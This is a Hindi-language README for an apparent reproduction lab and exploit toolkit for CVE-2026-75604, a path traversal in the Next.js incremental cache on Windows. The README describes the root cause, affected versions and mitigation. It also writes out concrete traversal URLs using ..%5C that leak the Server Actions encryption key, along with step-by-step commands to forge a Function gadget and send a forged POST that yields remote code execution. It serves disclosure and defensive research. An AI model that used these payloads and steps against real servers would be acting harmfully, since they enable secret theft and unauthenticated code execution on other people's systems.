
# CVE-2026-75604 के लिए प्रजनन प्रयोगशाला और शोषण उपकरण यह Next.js इंक्रीमेंटल कैश में पाथ ट्रैवर्सल के लिए एक प्रजनन प्रयोगशाला और शोषण उपकरण है, जो Windows पर अनप्रमाणित RCE की ओर ले जाता है। इसमें PoC, forge CLI, और परीक्षण के लिए हार्नेस शामिल है।
CVE-2026-75604 के लिए रिप्रोडक्शन लैब और एक्सप्लॉइट टूलिंग, जो Next.js इंक्रीमेंटल कैश में एक अनऑथेंटिकेटेड पाथ-ट्रैवर्सल है और Windows होस्ट्स को प्रभावित करता है। एक अकेला अन-एस्केप्ड बैकस्लैश एक अटैकर को कैश डायरेक्ट्री के बाहर फाइलें पढ़ने और लिखने देता है; सही वर्जन और ऐप शेप पर यह अनऑथेंटिकेटेड रिमोट कोड एक्ज़ीक्यूशन तक चेन हो जाता है।
रिसर्च: Fortbridge। पूरा राइट-अप: Reproducing CVE-2026-75604 (ब्लॉग लिंक - पब्लिशिंग के बाद अपडेट करें)।
⚠️ केवल अधिकृत टेस्टिंग। यह एक जानबूझकर कमजोर एप्लिकेशन और एक पैच किए गए CVE के लिए काम करने वाला एक्सप्लॉइट है। इसे केवल अपने स्वामित्व वाले आइसोलेटेड लैब नेटवर्क पर उपयोग करें। टारगेट को कभी भी प्रोडक्शन या इंटरनेट से पहुंच योग्य कहीं डिप्लॉय न करें।
escapePathDelimiters (Next.js राउटर यूटिलिटीज़) /, #, ? को एस्केप करता है लेकिन को नहीं। रूट सेगमेंट में एक परसेंट-एन्कोडेड बैकस्लैश () डिकोड होकर रॉ बनता है, इंक्रीमेंटल-कैश की में बच जाता है, और - क्योंकि Windows पर एक पाथ सेपरेटर है - कैश रूट से बाहर निकल जाता है। यही कोड कैश दोनों को बैक करता है, जिससे आर्बिट्रेरी फाइल रीड और राइट मिलती है। केवल Windows; Linux/macOS को एक सामान्य फाइलनाम कैरेक्टर मानते हैं।
\%5C\\path.join()\प्रभावित: 13.4-15.5.23 और 16.0-16.3.2। फिक्स्ड: 15.5.24 / 16.3.3।
ट्रैवर्सल पूरी प्रभावित रेंज में फैला है, लेकिन RCE गैजेट (एक React Flight constructor:constructor प्रॉपर्टी-चेन जो Function कंस्ट्रक्टर तक रिज़ॉल्व होती है) केवल वहीं काम करता है जहां react-server-dom-webpack में मिड-लाइफसाइकल में जोड़ा गया रेफरेंस गार्ड नहीं है:
| Next.js रेंज | गैजेट → Function | प्रभाव |
|---|---|---|
| 13.4 - 14.x | नहीं (कोई प्रॉपर्टी-पाथ सपोर्ट नहीं) | रीड / राइट / authz-बायपास |
| 15.0.0 - 15.5.22 | हाँ | RCE-सक्षम |
| 15.5.23 | नहीं (गार्ड जोड़ा गया) | केवल ट्रैवर्सल |
| 16.0.0 - 16.2.x | हाँ | RCE-सक्षम |
| 16.3.0 - 16.3.2 | नहीं (गार्ड जोड़ा गया) | केवल ट्रैवर्सल |
| 15.5.24 / 16.3.3 | - | पैच किया गया |
RCE के लिए ऐप-साइड हायर-ऑर्डर Server Action की भी आवश्यकता होती है जो यूज़र इनपुट के साथ क्लोज़र-बाउंड वैल्यू को कॉल करता है (boundFn(input)())। उस पैटर्न के बिना ऐप्स अभी भी डिस्क्लोज़र, राइट/DoS, और Server Action ऑथराइज़ेशन बायपास का सामना करते हैं। देखें research/FINDINGS.md और research/rce-version-matrix.txt।
| पाथ | क्या |
|---|---|
setup-windows.ps1 | Windows होस्ट पर कमजोर लैब बिल्ड + स्टार्ट करें (डिफ़ॉल्ट Next 16.2.0) |
app/ | न्यूनतम कमजोर टारगेट: होम Server Action (RCE सिंक) + दो कैश्ड कैच-ऑल रूट्स |
exploit.mjs | रीड-ओनली PoC - ट्रैवर्सल के माध्यम से encryptionKey लीक करें (--burp, --raw, --write) |
forge-cli.mjs | एक असली बाउंड आर्ग को decrypt करें / Function ब्लॉब को gadget फोर्ज करें |
send-action.mjs | एक कमांड में चरण 4-5: फोर्ज्ड POST + आउटपुट वापस पढ़ें (--proof, --burp) |
harness/ | OS-इंडिपेंडेंट रीडिस्कवरी - path.win32 के तहत अपरिवर्तित 16.3.2/16.3.3 कोड चलाता है |
BURP-STEPS.md | सुसंगत 5-चरणीय रिप्रोडक्शन रेसिपी |
research/ | पैच डिफ, वर्जन मैट्रिक्स, फाइंडिंग्स |
evidence/ | एक सत्यापित रन के स्क्रीनशॉट |
# कमजोर लैब बिल्ड + स्टार्ट करें (Next.js 16.2.0)
powershell -File setup-windows.ps1 # BUILD_ID और चेक URL प्रिंट करता है
# चरण 1 (ब्राउज़र): वार्म करें, फिर ट्रैवर्सल रीड → encryptionKey खोलें
# http://<host>:3000/app-cache/..%5C..%5Cserver-reference-manifest (वार्म)
# http://<host>:3000/_next/data/<BUILD_ID>/pages-cache/..%5C..%5Cserver-reference-manifest.json
# चरण 2-3: एक असली बाउंड आर्ग डिक्रिप्ट करें, फिर Function गैजेट फोर्ज करें
node forge-cli.mjs decrypt <key> <actionId> <blob-from-page>
node forge-cli.mjs gadget <key> <actionId>
# चरण 4-5 (Burp के माध्यम से): एक कमांड में फोर्ज्ड POST + रीड-बैक
node send-action.mjs http://<host>:3000 --key <key> --action <actionId> --proof pwn --burp
Windows बॉक्स नहीं है? node harness/harness.mjs किसी भी OS पर ट्रैवर्सल साबित करता है, path को path.win32 से बाउंड करके असली शिप्ड Next.js 16.3.2 और 16.3.3 कोड चलाकर।
15.5.24 या 16.3.3 में अपग्रेड करें। प्रभावित Windows होस्ट्स के लिए कोई इन-प्लेस वर्कअराउंड नहीं है। रीड से जो सीक्रेट्स एक्सपोज़ हो सकते हैं उन्हें रोटेट करें - विशेष रूप से NEXT_SERVER_ACTIONS_ENCRYPTION_KEY (पिन किए जाने पर लीक हुई की रीबिल्ड्स के बाद भी वैध रहती है)।
/_next/data/… या कैश्ड App Router पाथ्स पर रूट सेगमेंट में %5C / ..%5C वाले रिक्वेस्ट।{"pageProps":…,"__N_SSG":true} स्टब है (डिस्ट्रक्टिव रीड)।.html / .rsc / .meta) .next\server\app\ या .next\server\pages\ के बाहर लिखी गईं।